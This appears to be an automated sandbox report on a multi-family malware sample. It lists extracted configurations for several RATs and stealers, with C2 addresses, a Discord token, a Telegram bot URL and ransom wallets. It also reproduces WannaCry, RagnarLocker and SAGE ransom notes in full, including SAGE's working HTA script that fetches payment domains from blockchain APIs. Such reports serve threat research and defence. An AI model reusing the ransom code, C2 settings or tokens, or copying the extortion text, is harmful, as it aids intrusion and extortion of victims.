asyncrat | adfd4e9f51bcd27935f153e44b060b6978f55da9135f34cc62361dbbf2d2db57

Resubmissions

14/05/2025, 08:27

250514-kcdqlavpv410

11/05/2025, 17:34

250511-v5wrzssmz610

11/05/2025, 11:09

250511-m9hf6azlw510

11/05/2025, 00:35

250511-axsedatset10

Analysis

max time kernel
49s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
11/05/2025, 00:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
250511-ab4waaszhx.exe
Size 26.1MB
Sample250511-axsedatset
SHA256 adfd4e9f51bcd27935f153e44b060b6978f55da9135f34cc62361dbbf2d2db57
MD5 769bf15770789de44c623b22536b9af8
SHA1 201bc12c782591a524b76a03c815251558bc0e21
SHA512 5ea37c53c01596c067824c698e234b3cddbae8f37ccfe5588629e9bd68eeab3a84b9e3985899f3686d247153f19945b3155ab52899f0e7049f0375c0c8740c18
SSDEEP 393216:c7Uy3zMOT7pkSmtK0NsDrAggcSYwybUG7Syl3SIspfXvYKiTSOQ1edHpDnWK:Q4MOSkqvAggG1QmSycIifXvzTPK
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Roaming\@[email protected]

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Extracted

Path

F:\$RECYCLE.BIN\RGNR_292FBD50.txt

Ransom Note

Hello VGCARGO ! ***************************************************************************************************************** If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** *********What happens with your system ?************ Your network was penetrated, all your files and backups was locked! So from now there is NO ONE CAN HELP YOU to get your files back, EXCEPT US. You can google it, there is no CHANCES to decrypt data without our SECRET KEY. But don't worry ! Your files are NOT DAMAGED or LOST, they are just MODIFIED. You can get it BACK as soon as you PAY. We are looking only for MONEY, so there is no interest for us to steel or delete your information, it's just a BUSINESS $-) HOWEVER you can damage your DATA by yourself if you try to DECRYPT by any other software, without OUR SPECIFIC ENCRYPTION KEY !!! Also, all of your sensitive and private information were gathered and if you decide NOT to pay, we will upload it for public view ! **** ***********How to get back your files ?****** To decrypt all your files and data you have to pay for the encryption KEY : BTC wallet for payment: 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4 Amount to pay (in Bitcoin): 25 **** ***********How much time you have to pay?********** * You should get in contact with us within 2 days after you noticed the encryption to get a better price. * The price would be increased by 100% (double price) after 14 Days if there is no contact made. * The key would be completely erased in 21 day if there is no contact made or no deal made. Some sensetive information stolen from the file servers would be uploaded in public or to re-seller. **** ***********What if files can't be restored ?****** To prove that we really can decrypt your data, we will decrypt one of your locked files ! Just send it to us and you will get it back FOR FREE. The price for the decryptor is based on the network size, number of employees, annual revenue. Please feel free to contact us for amount of BTC that should be paid. **** ! IF you don't know how to get bitcoins, we will give you advise how to exchange the money. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTCAT WITH US ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1) Go to the official website of TOX messenger ( https://tox.chat/download.html ) 2) Download and install qTOX on your PC, choose the platform ( Windows, OS X, Linux, etc. ) 3) Open messenger, click "New Profile" and create profile. 4) Click "Add friends" button and search our contact 7D509C5BB14B1B8CB0A3338EEA9707AD31075868CB9515B17C4C0EC6A0CCCA750CA81606900D 5) For identification, send to our support data from ---RAGNAR SECRET--- IMPORTANT ! IF for some reasons you CAN'T CONTACT us in qTOX, here is our reserve mailbox ( [email protected] ) send a message with a data from ---RAGNAR SECRET--- WARNING! -Do not try to decrypt files with any third-party software (it will be damaged permanently) -Do not reinstall your OS, this can lead to complete data loss and files cannot be decrypted. NEVER! -Your SECRET KEY for decryption is on our server, but it will not be stored forever. DO NOT WASTE TIME ! *********************************************************************************** ---RAGNAR SECRET--- QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw== ---RAGNAR SECRET--- ***********************************************************************************

Emails

[email protected]

Wallets

1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4

URLs

https://tox.chat/download.html

Extracted

Family

xworm

Version

outside-sand.gl.at.ply.gg:31300

Mutex

uGoUQjcjqoZsiRJZ

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

69.232.48.67:4782

Mutex

4ec0a816-0212-473a-be4d-984e4b0e9af0

Attributes

encryption_key
06D1C1AE802ADF60C767026668B738AEF109004C
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

discordrat

Attributes

discord_token
MTMxNTQxMDg0NDg3NTQ4OTI4MA.Gx5ptK.HY1OYsjGMP1MsOoyD2E7T9pCvkfHTdOPozmb_c
server_id
1315411300192616569

Extracted

Family

xworm

127.0.0.1:6000
103.211.201.109:6000

Attributes

Install_directory
%AppData%
install_file
XClient.exe
telegram
https://api.telegram.org/bot7929370892:AAGwrX5TeyxQidZdAEm_Z6-CDvPUOQzVY1M

Extracted

Path

C:\Users\Default\Pictures\!HELP_SOS.hta

Ransom Note

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Decryption Instructions</title> <HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize"> <style> a { color: #04a; text-decoration: none; } a:hover { text-decoration: underline; } body { background-color: #e7e7e7; color: #222; font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif; font-size: 12pt; line-height: 16pt; } body, h1 { margin: 0; padding: 0; } h1 { color: #555; text-align: center; padding-bottom: 1.5em; } h2 { color: #555; text-align: center; } ol li { padding-bottom: 13pt; } .container { background-color: #EEE; border: 2pt solid #C7C7C7; margin: 3%; min-width: 600px; padding: 5% 10%; color: #444; } .filecontainer{ padding: 5% 10%; display: none; } .header { border-bottom: 2pt solid #c7c7c7; padding-bottom: 5%; } .hr { background: #bda; display: block; height: 2pt; margin-top: 1.5%; margin-bottom: 1.5%; overflow: hidden; width: 100%; } .key{ background-color: #A1D490; border: 1px solid #506A48; display: block; text-align: center; margin: 0.5em 0; padding: 1em 1.5em; word-wrap: break-word; } .keys{ margin: 3em 0; } .filename{ border: 3px solid #AAA; display: block; text-align: center; margin: 0.5em 0em; padding: 1em 1.5em; background-color: #DCC; } .us{ text-decoration: strong; color: #333; } .info{ background-color: #E4E4E4; padding: 0.5em 3em; margin: 1em 0; } .text{ text-align: justify; } #file{ background-color: #FCC; } .lsb{ display: none; margin: 3%; text-align: center; } .ls{ border: 1px solid #888; border-radius: 3px; padding: 0 0.5em; margin: 1em 0.1em; line-height: 2em; display: inline-block; } .ls:hover{ background-color: #D0D0D0; } .l{ display:none; } .lu{ display:none; } </style> <script language="vbscript"> Function GetCmd GetCmd = App.commandLine End Function </script> <script language="javascript"> function openlink(url){ new ActiveXObject("WScript.Shell").Run(url); return false; } function aIndexOf(arr, v){ for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i; return -1; } function tweakClass(cl, f){ var els; if(document.getElementByClassName != null){ els = document.getElementsByClassName(cl); } else{ els = []; var tmp = document.getElementsByTagName('*'); for (var i = 0; i < tmp.length; i++){ var c = tmp[i].className; if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]); } } for(var i = 0; i < els.length; i++) f(els[i]); } function show(el){ el.style.display = 'block'; } function hide(el){ el.style.display = 'none'; } var langs = ["en","de","it","pt","es","fr","kr","nl","ar","fa","zh"]; function setLang(lang){ if(aIndexOf(langs, lang) == -1) lang = langs[0]; for(var i = 0; i < langs.length; i++){ var clang = langs[i]; tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; }); tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; }); } } function newXHR() { if (window.XMLHttpRequest) return new window.XMLHttpRequest; try { return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } catch(error) { return null; } } function getPage(url, cb) { try{ var xhr = newXHR(); if(!xhr) return cb('no xhr'); xhr.onreadystatechange = function() { if(xhr.readyState != 4) return; if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status) cb(null, xhr.responseText); }; xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true); xhr.send(); } catch(e){ cb(e); } } function decodeTxString(hex){ var m = '0123456789abcdef'; var s = ''; var c = 0xAA; hex = hex.toLowerCase(); for(var i = 0; i < hex.length; i+=2){ var a = m.indexOf(hex.charAt(i)); var b = m.indexOf(hex.charAt(i+1)); if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b; s+= String.fromCharCode(c = (c ^ ((a << 4) | b))); } return s; } var OR = 'OP_RE'+'TURN '; var sources = [ {bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.vouts; for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10)); return null; } }, {bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.outputs; for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10)); return null; } }, {bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all', ptxs: function(json){ var res = []; for(var i = 0; i < json.length; i++) res.push(json[i][1]); return res; }, ptx: function(json){ var os = json.output; for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10)); return null; } }, {bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/', ptxs: function(json){ var res = []; var m = {}; for(var i = 0; i < json.txrefs.length; i++){ var tx = json.txrefs[i].tx_hash; if(m[tx]) continue; m[tx] = 1; res.push(tx); } return res; }, ptx: function(json){ var os = json.outputs; for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex); return null; } } ]; function eachUntil(a,f,c){ var i = 0; var n = function(){ if(i >= a.length) return c('f'); f(a[i++], function(err, res){ if(err == null) return c(null, res); n(); }); }; n(); } function getJson(url, cb){ getPage(url, function(err, res){ if(err != null) return cb(err); var json; try{ if(window.JSON && window.JSON.parse){ json = window.JSON.parse(res); } else{ json = eval('('+res+')'); } } catch(e){ cb(e); } cb(null, json); }); } function getDomains(ad, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp; url+= s.adp+ad; if(s.adpb) url+= s.adpb; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptxs(json)); } catch(e){ cb(e); } }); }, function(err, txs){ if(err != null) return cb(err); if(txs.length == 0) return cb('f'); eachUntil(txs, function(tx, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp+s.txp+tx; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptx(json)); } catch(e){ cb(e); } }); }, function(err, res){ if(err != null) return cb(err); if(res == null) return cb('f'); cb(null, res.split(':')); }); }, cb); }); } function updateLinks(){ tweakClass('lu', hide); tweakClass('lu-updating', show); getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){ tweakClass('lu', hide); if(err != null){ tweakClass('lu-error', show); // tweakClass('links', function(el){ el.innerHTML = err; }); return; } tweakClass('lu-done', show); var html = ''; for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://7gie6ffnkrjykggd.'+ds[i]+'/login/AdOlf_hQVVjzIRwCrUHOWMVd_LiTf6Vdkx-mwGIIQKva5IlR_pcTaB_A" onclick="javascript:return openlink(this.href)">http://7gie6ffnkrjykggd.'+ds[i]+'/</a></div>'; tweakClass('links', function(el){ el.innerHTML = html; }); }); return false; } function onPageLoaded(){ try{ tweakClass('lsb', show); }catch(e){} try{ tweakClass('lu-orig', show); }catch(e){} try{ setLang('en'); }catch(e){} try{ var args = GetCmd().match(/"[^"]+"|[^ ]+/g); if(args.length > 1){ var file = args[args.length-1]; if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2); document.getElementById('filename').innerHTML = file; show(document.getElementById('file')); document.title = 'File is encrypted'; } }catch(e){} } </script> </head> <body onload='javascript:onPageLoaded()'> <div class='lsb'> <span class='ls ls-en' onclick="javascript:return setLang('en')">English</span> <span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span> <span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span> <span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span> <span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span> <span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span> <span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span> <span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span> <span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span> <span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span> <span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span> </div> <div id='file' class='container filecontainer'> <div class='filename'> <div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div> <div> <h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2> <h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2> <h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2> <h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2> <h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2> <h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2> <h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2> <h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2> <h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2> <h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2> <h2 class='l l-zh' >文件已被加密，但是可以解密</h2> <p><span id='filename'></span></p> </div> </div> <h2>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2> <h2>Action required to restore your files.</h2> </div> <div class='container'> <div class="text l l-en" style='display:block'> <h1>File recovery instructions</h2> <p>You probably noticed that you can not open your files and that some software stopped working correctly.</p> <p>This is expected. Your files content is still there, but it was encrypted by <span class='us'>"SAGE 2.2 Ransomware"</span>.</p> <p>Your files are not lost, it is possible to revert them back to normal state by decrypting.</p> <p>The only way you can do that is by getting <span class='us'>"SAGE Decrypter"</span> software and your personal decryption key.</p> <div class='info'> <p>Using any other software which claims to be able to restore your files will result in files being damaged or destroyed.</p> </div> <p>You can purchase <span class='us'>"SAGE Decrypter"</span> software and your decryption key at your personal page you can access by following links:</p> <div class='keys links'> <div class='key'> <a href="http://7gie6ffnkrjykggd.jktew0.com/login/AdOlf_hQVVjzIRwCrUHOWMVd_LiTf6Vdkx-mwGIIQKva5IlR_pcTaB_A" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.jktew0.com/</a> </div> <div class='key'> <a href="http://7gie6ffnkrjykggd.jpo2z1.net/login/AdOlf_hQVVjzIRwCrUHOWMVd_LiTf6Vdkx-mwGIIQKva5IlR_pcTaB_A" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.jpo2z1.net/</a> </div> <div class='key'> <a href="http://7gie6ffnkrjykggd.lfsjkad.net/login/AdOlf_hQVVjzIRwCrUHOWMVd_LiTf6Vdkx-mwGIIQKva5IlR_pcTaB_A" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.lfsjkad.net/</a> </div> <div class='key'> <a href="http://7gie6ffnkrjykggd.yio3lvx.com/login/AdOlf_hQVVjzIRwCrUHOWMVd_LiTf6Vdkx-mwGIIQKva5IlR_pcTaB_A" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.yio3lvx.com/</a> </div> </div> <div class='info lu lu-orig'> <p>If none of these links work for you, <a href='#' onclick='javascript:return updateLinks()'><b>click here</b></a> to update the list.</p> </div> <div class='info lu lu-updating'> <p>Updating links...</p> </div> <div class='info lu lu-error'> <p>Something went wrong while updating links, please wait some time and <a href='#' onclick='javascript:return updateLinks()'><b>try again</b></a> or use "Tor Browser" method below.</p> </div> <div class='info lu lu-done'> <p>Links updated, if new ones still don't work, please wait some time and <a href='#' onclick='javascript:return updateLinks()'><b>try again</b></a> or use "Tor Browser" method below.</p> </div> <p>If you are asked for your personal key, copy it to the form on the site. This is your personal key:</p> <div class='keys'> <div class='key'> AdOlf_hQVVjzIRwCrUHOWMVd_LiTf6Vdkx-mwGIIQKva5IlR_pcTaB_A </div> </div> <p>You will also be able to decrypt one file for free to make sure "SAGE Decrypter" software is able to recover your files</p> <div class='info'> <p>If none of those links work for you for a prolonged period of time or you need your files recovered as fast as possible, you can also access your personal page using "Tor Browser".</p> <p>In order to do that you need to:</p> <ol> <li>

URLs

http://'+s.bp
http://'+s.bp+s.txp+tx

Extracted

Family

marsstealer

Botnet

Default

kenesrakishev.net/wp-admin/admin-ajax.php

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 52 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b414-2202.dat	family_xworm
behavioral2/files/0x001900000002b454-2272.dat	family_xworm
behavioral2/memory/3084-2473-0x0000000000720000-0x0000000000730000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b477-2541.dat	family_xworm
behavioral2/files/0x001b00000002b48e-2707.dat	family_xworm
behavioral2/memory/1652-2705-0x0000000000A10000-0x0000000000A20000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b498-2740.dat	family_xworm
behavioral2/files/0x001900000002b48d-2689.dat	family_xworm
behavioral2/files/0x001900000002b499-2749.dat	family_xworm
behavioral2/memory/4540-3097-0x0000000000CE0000-0x0000000000CF0000-memory.dmp	family_xworm
behavioral2/memory/5352-3094-0x00000000001C0000-0x00000000001D0000-memory.dmp	family_xworm
behavioral2/memory/1452-2998-0x0000000000A30000-0x0000000000A40000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b4cf-2976.dat	family_xworm
behavioral2/memory/6100-2842-0x00000000008E0000-0x00000000008F0000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b50b-3287.dat	family_xworm
behavioral2/files/0x001900000002b50c-3296.dat	family_xworm
behavioral2/memory/4820-3346-0x00000000006C0000-0x00000000006D0000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b50e-3327.dat	family_xworm
behavioral2/files/0x001900000002b50d-3318.dat	family_xworm
behavioral2/memory/4496-3306-0x0000000000680000-0x0000000000690000-memory.dmp	family_xworm
behavioral2/memory/2464-3398-0x0000000000D50000-0x0000000000D60000-memory.dmp	family_xworm
behavioral2/memory/6128-3472-0x00000000008E0000-0x00000000008F0000-memory.dmp	family_xworm
behavioral2/memory/4944-3471-0x0000000000700000-0x0000000000710000-memory.dmp	family_xworm
behavioral2/memory/328-3515-0x00000000005E0000-0x00000000005F0000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b512-3394.dat	family_xworm
behavioral2/memory/924-3520-0x0000000000FF0000-0x0000000001000000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b516-3530.dat	family_xworm
behavioral2/files/0x001900000002b517-3597.dat	family_xworm
behavioral2/files/0x001900000002b518-3730.dat	family_xworm
behavioral2/memory/3584-3744-0x0000000000D70000-0x0000000000D80000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b519-3874.dat	family_xworm
behavioral2/memory/1464-3878-0x00000000007F0000-0x0000000000800000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b51a-4046.dat	family_xworm
behavioral2/memory/2820-4188-0x00000000008B0000-0x00000000008C0000-memory.dmp	family_xworm
behavioral2/memory/5188-4187-0x0000000000FF0000-0x0000000001000000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b51b-4288.dat	family_xworm
behavioral2/files/0x001900000002b51d-4419.dat	family_xworm
behavioral2/files/0x001900000002b51c-4407.dat	family_xworm
behavioral2/files/0x001900000002b51e-4457.dat	family_xworm
behavioral2/memory/5592-4607-0x0000000000B20000-0x0000000000B30000-memory.dmp	family_xworm
behavioral2/memory/1832-4534-0x0000000000D80000-0x0000000000D90000-memory.dmp	family_xworm
behavioral2/memory/3928-4584-0x0000000000410000-0x0000000000420000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b51f-4652.dat	family_xworm
behavioral2/memory/5344-4543-0x0000000000E30000-0x0000000000E40000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b520-4916.dat	family_xworm
behavioral2/memory/5088-4854-0x0000000000BD0000-0x0000000000BE0000-memory.dmp	family_xworm
behavioral2/memory/5668-5099-0x0000000000800000-0x0000000000810000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b522-5105.dat	family_xworm
behavioral2/memory/4732-5256-0x0000000000C40000-0x0000000000C50000-memory.dmp	family_xworm
behavioral2/memory/3708-5553-0x00000000006E0000-0x00000000006F0000-memory.dmp	family_xworm
behavioral2/files/0x001900000002b53e-6529.dat	family_xworm
behavioral2/memory/6272-6965-0x0000000000DE0000-0x0000000000DF6000-memory.dmp	family_xworm

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Discordrat family
discordrat
Mars Stealer
An infostealer written in C++ based on other infostealers.
stealer marsstealer
Marsstealer family
marsstealer
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b521-5716.dat	family_quasar
behavioral2/memory/1100-5969-0x0000000000330000-0x0000000000654000-memory.dmp	family_quasar

RagnarLocker
Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.
ransomware ragnarlocker
Ragnarlocker family
ragnarlocker
SquirrelWaffle is a simple downloader written in C++.
SquirrelWaffle.
downloader squirrelwaffle
Squirrelwaffle family
squirrelwaffle
Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Wannacry family
wannacry
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x001900000002b528-5936.dat	family_asyncrat

Contacts a large (7735) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (9132) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Squirrelwaffle payload 1 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b219-391.dat	squirrelwaffle

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
10104	powershell.exe
12048	powershell.exe
12016	powershell.exe
7316	powershell.exe
2564	powershell.exe
6428	powershell.exe
9472	powershell.exe
15044	powershell.exe
2556	powershell.exe
14944	powershell.exe
7736	powershell.exe
1320	powershell.exe
7104	powershell.exe
13004	powershell.exe
15116	powershell.exe
7536	powershell.exe
12472	powershell.exe
6760	powershell.exe
12996	powershell.exe
14392	powershell.exe
7532	powershell.exe
8156	powershell.exe
14568	powershell.exe
11156	powershell.exe
10572	powershell.exe
12032	powershell.exe
12008	powershell.exe
14824	powershell.exe
15136	powershell.exe
15048	powershell.exe
8776	powershell.exe
3184	powershell.exe
6108	powershell.exe
6992	powershell.exe
15256	powershell.exe
14600	powershell.exe
9616	powershell.exe
2572	powershell.exe
6284	powershell.exe
3200	powershell.exe
772	powershell.exe
12748	powershell.exe
12064	powershell.exe
12000	powershell.exe
14848	powershell.exe
6388	powershell.exe
15220	powershell.exe
7308	powershell.exe
11488	powershell.exe
8140	powershell.exe
